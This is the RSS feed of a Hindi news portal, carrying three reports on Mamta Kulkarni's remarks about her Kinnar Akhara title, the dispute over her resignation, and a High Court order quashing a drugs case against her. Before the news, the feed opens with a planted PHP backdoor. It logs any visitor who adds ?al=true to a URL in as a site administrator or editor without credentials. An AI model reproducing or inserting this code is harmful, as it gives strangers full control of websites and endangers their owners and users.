// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Mamta Kulkarni – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 25 Jan 2026 17:15:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 किन्नर अखाड़े से दूरी बनाने के संकेत! महामंडलेश्वर ममता कुलकर्णी बोलीं– अब सब मज़ाक जैसा लगता है https://pratyushaashakinayikiran.com/?p=194406 Sun, 25 Jan 2026 17:15:00 +0000 https://pratyushaashakinayikiran.com/?p=194406 प्रयागराज
 आध्यात्मिक दुनिया में महामंडलेश्वर, जगद्गुरु और शंकराचार्य जैसे बड़े-बड़े पदों की संख्या जिस तेजी से बढ़ी है, इस बीच किन्नर अखाड़े की महामंडलेश्वर ममता कुलकर्णी ने आईएएनएस को दिए इंटरव्यू में अपने पद को लेकर ऐसी बात कह दी, जिसने लोगों के बीच हलचल तेज कर दी। उन्होंने कहा है कि महामंडलेश्वर का पद अब उन्हें एक गंभीर आध्यात्मिक जिम्मेदारी नहीं, बल्कि मजाक जैसा लगने लगा है। आईएएनएस से बात करते हुए ममता कुलकर्णी ने कहा, ''जब मैं इस आध्यात्मिक यात्रा में गहराई से उतरीं, तब मुझे कई सच्चाइयों का एहसास हुआ। बाहर से जो दुनिया बहुत पवित्र और ज्ञान से भरी हुई दिखाई देती है, अंदर जाकर देखने पर वैसी नहीं लगती। आज हर तरफ ऐसे लोग घूम रहे हैं, जो खुद को महामंडलेश्वर या जगद्गुरु घोषित कर रहे हैं, लेकिन उनके पास न तो सही ज्ञान है और न ही आत्मज्ञान। केवल वस्त्र पहन लेने या कोई पद पा लेने से कोई संत नहीं बन जाता।''
ममता कुलकर्णी ने धार्मिक ग्रंथों का उदाहरण देते हुए आत्मज्ञान की अहमियत पर जोर दिया। उन्होंने कहा, ''वेदों और उपनिषदों में भी सिखाया गया है कि केवल मंत्रों को याद कर लेना या शास्त्रों का ज्ञान होना ही सब कुछ नहीं है। असली ज्ञान वह है, जिससे व्यक्ति अपने भीतर की सच्चाई को समझ सके।''
ममता ने श्वेतकेतु और उनके पिता उद्दालक ऋषि के संवाद का जिक्र करते हुए कहा कि जब चारों वेद कंठस्थ करने के बाद भी आत्मज्ञान नहीं मिला, तो वह ज्ञान अधूरा था। आज भी यही स्थिति देखने को मिल रही है। उन्होंने कहा, ''मैंने अपने आध्यात्मिक सफर में बहुत कम सच्चे संत देखे हैं। दस में से नौ लोग ऐसे मिले, जो झूठे थे और केवल पद और पहचान के पीछे भाग रहे थे। इसी अनुभव के चलते मुझे अब महामंडलेश्वर का पद एक हास्य विनोद जैसा लगने लगा है। जब हर दूसरे दिन नए महामंडलेश्वर बनाए जा रहे हों, तो ऐसे में पदों की गंभीरता अपने आप खत्म हो जाती है।''
किन्नर अखाड़े के संस्थापक रहे ऋषि अजय दास पर भी ममता कुलकर्णी ने सवाल उठाए। उन्होंने कहा, "ऐसे कई लोग हैं, जिन्हें धर्म, वेद और परंपरा की बुनियादी समझ भी नहीं है, लेकिन वे बड़े-बड़े मंचों से उपदेश देते हैं। नाच-गाने को लेकर टिप्पणियां करते हैं। भारतीय परंपरा में नृत्य और संगीत को कभी तुच्छ नहीं माना गया। भगवान शिव का नटराज स्वरूप और श्रीकृष्ण की लीलाएं इसके उदाहरण हैं।"
ममता कुलकर्णी ने कहा कि वह महामंडलेश्वर का पद छोड़ने पर गंभीरता से विचार कर रही हैं। उन्होंने कहा, "मुझे अंदर से संकेत मिल रहा है कि मुझे भी अपने इस पद को अभी छोड़ना चाहिए, क्योंकि जब चारों ओर नकली लोग भरे हों, तो ऐसे पद पर बने रहने का कोई अर्थ नहीं रह जाता। सत्य के लिए किसी विशेष वस्त्र या पद की जरूरत नहीं होती। सच्चा गुरु वही होता है, जो तपस्वी हो, अहंकार से दूर हो और दिखावे से परे जीवन जीता हो।"

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अब महामंडलेश्वर डॉ. लक्ष्मीनारायण त्रिपाठी ने बताया-ममता कुलकर्णी किसी पद से इस्तीफा नहीं दे रही https://pratyushaashakinayikiran.com/?p=131249 Thu, 13 Feb 2025 14:05:00 +0000 https://pratyushaashakinayikiran.com/?p=131249 मुंबई
बॉलीवुड एक्ट्रेस ममता कुलकर्णी जब से इंडिया आई हैं, तब से लगातार चर्चा में बनी हुई हैं। एक्ट्रेस ने हाल ही में ऐलान किया था कि वो किन्नर अखाड़े की महामंडलेश्वर के पद से इस्तीफा दे रही हैं, लेकिन अब महामंडलेश्वर डॉ. लक्ष्मीनारायण त्रिपाठी ने उनके इस फैसले को लेकर कुछ और ही बताया है। त्रिपाठी ने खुलासा किया है कि वो किसी पद से इस्तीफा नहीं दे रही हैं।

मीडिया से बात करते हुए महामंडलेश्वर डॉ. लक्ष्मीनारायण त्रिपाठी ने ममता कुलकर्णी के इस्तीफे वाली बात को पूरी तरह से नकार दिया और कहा कि वो महामंडलेश्वर थीं, हैं और रहेंगी। उन्होंने कहा कि महामंडलेश्वर यमाई ममतानंद गिरि के नाम से ही ममता जी को जाना जाएगा। साथ ही उन्होंने बताया कि गुरु पर बात आई तो ममता ने आहत होकर इस्तीफा दिया था लेकिन उनका इस्तीफा स्वीकार नहीं होगा। उन्होंने कहा कि ममता जी को सजाकर, संवारकर रखना मेरा दायित्व है। पद की गरिमा रखने वालों को ही महामंडलेश्वर बनाया जाएगा।  

ममता ने किया था ऐलान
आपको बता दें ममता कुलकर्णी ने हाल ही में महाकुंभ में अपना पिंड दान किया था और इसके बाद उन्हें किन्नर अखाड़े की महामंडलेश्वर बनाया गया था। लेकिन इस पर खूब विवाद हुआ। इसके कुछ दिनों बाद ममता ने ऐलान किया है कि वो इस पद से इस्तीफा दे रही हैं। अपने इस्तीफे का ऐलान करते हुए ममता ने कहा था कि ‘मैं किन्नर अखाड़े की महामंडलेश्वर पद से इस्तीफा दे रही हूं। मैं बचपन से ही साध्वी रही हूं और आगे भी रहूंगी…।  

 

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ममता कुलकर्णी के खिलाफ दर्ज FIR को HC ने रद्द किया, ड्रग्स केस में बड़ी राहत https://pratyushaashakinayikiran.com/?p=58454 Thu, 08 Aug 2024 12:16:00 +0000 https://pratyushaashakinayikiran.com/?p=58454 मुंबई

बॉम्बे हाईकोर्ट ने पूर्व बॉलीवुड अभिनेत्री ममता कुलकर्णी के खिलाफ दर्ज साल 2016 में दर्ज किए गए ड्रग्स मामले को खारिज कर दिया है. अदालत ने कहा कि उनके खिलाफ कार्यवाही स्पष्ट रूप से तुच्छ और परेशान करने वाली थी और इसे जारी रखना अदालत की प्रक्रिया का दुरुपयोग करने जैसा होगा.

न्यायमूर्ति भारती डांगरे और न्यायमूर्ति मंजूषा देशपांडे की खंडपीठ ने 22 जुलाई को पारित एक आदेश में कहा कि यह 'स्पष्ट राय' है कि ममता कुलकर्णी के खिलाफ एकत्र की गई सामग्री प्रथम दृष्टया उनके खिलाफ कोई अपराध नहीं बनाती है. पीटीआई के मुताबिक, हाई कोर्ट के इस आदेश की एक प्रति बुधवार को उपलब्ध कराई गई.

पीठ ने अपने आदेश में कहा, 'हम संतुष्ट हैं कि याचिकाकर्ता (ममता कुलकर्णी) के खिलाफ अभियोजन जारी रखना अदालत की प्रक्रिया का दुरुपयोग करने जैसा होगा.' अदालत ने कहा कि वह संतुष्ट है कि यह एफआईआर को रद्द करने के लिए अपनी अंतर्निहित शक्तियों का प्रयोग करने के लिए एक उपयुक्त मामला है क्योंकि कार्यवाही स्पष्ट रूप से तुच्छ और परेशान करने वाली है.

ममता कुलकर्णी ने साल 2016 में ठाणे पुलिस द्वारा नारकोटिक ड्रग्स एंड साइकोट्रोपिक सब्सटेंस (एनडीपीएस) अधिनियम के विभिन्न प्रावधानों के तहत उनके खिलाफ दर्ज की गई एफआईआर को रद्द करने के लिए अदालत में याचिका दायर की थी. जिसमें ममता ने दावा किया था कि उन्हें इस मामले में फंसाया गया है और वह केवल एक सह-आरोपी विक्की गोस्वामी से परिचित थी.

असल में पुलिस ने अप्रैल 2016 में एक किलोग्राम इफेड्रिन नामक मादक पदार्थ के कथित कब्जे के लिए दो व्यक्तियों को गिरफ्तार किया था. प्रारंभिक जांच के बाद कुलकर्णी सहित 10 और व्यक्तियों के खिलाफ मामला दर्ज किया गया था. अभियोजन पक्ष का मामला यह है कि कुलकर्णी ने विक्की गोस्वामी सहित अन्य सह-आरोपियों के साथ जनवरी 2016 में केन्या के एक होटल में मादक पदार्थों की बिक्री और खरीद के लिए एक साजिश बैठक की थी.

पीठ ने आरोपपत्र में प्रस्तुत गवाहों के बयानों और अन्य साक्ष्यों का अवलोकन किया और पाया कि कथित साजिश के लिए एक बैठक केन्या के होटल के डाइनिंग हॉल में हुई थी और जहां ममता डाइनिंग टेबल के बगल में सोफे पर बैठी थी. अदालत ने कहा कि उसका मानना ​​है कि आरोपपत्र में प्रस्तुत सामग्री एनडीपीएस अधिनियम के प्रावधानों के तहत ममता कुलकर्णी के खिलाफ लगाए गए आरोप को कायम रखने के लिए पर्याप्त नहीं है.

खंडपीठ ने कहा, 'याचिकाकर्ता (ममता कुलकर्णी) की केवल एक बैठक में उपस्थिति, यहां तक ​​कि आरोपपत्र में दर्शाई गई सामग्री को स्वीकार करने पर भी, आरोपपत्र में लगाए गए प्रावधानों के तहत दोषसिद्धि को कायम रखने के लिए निश्चित रूप से पर्याप्त नहीं होगी.'

 

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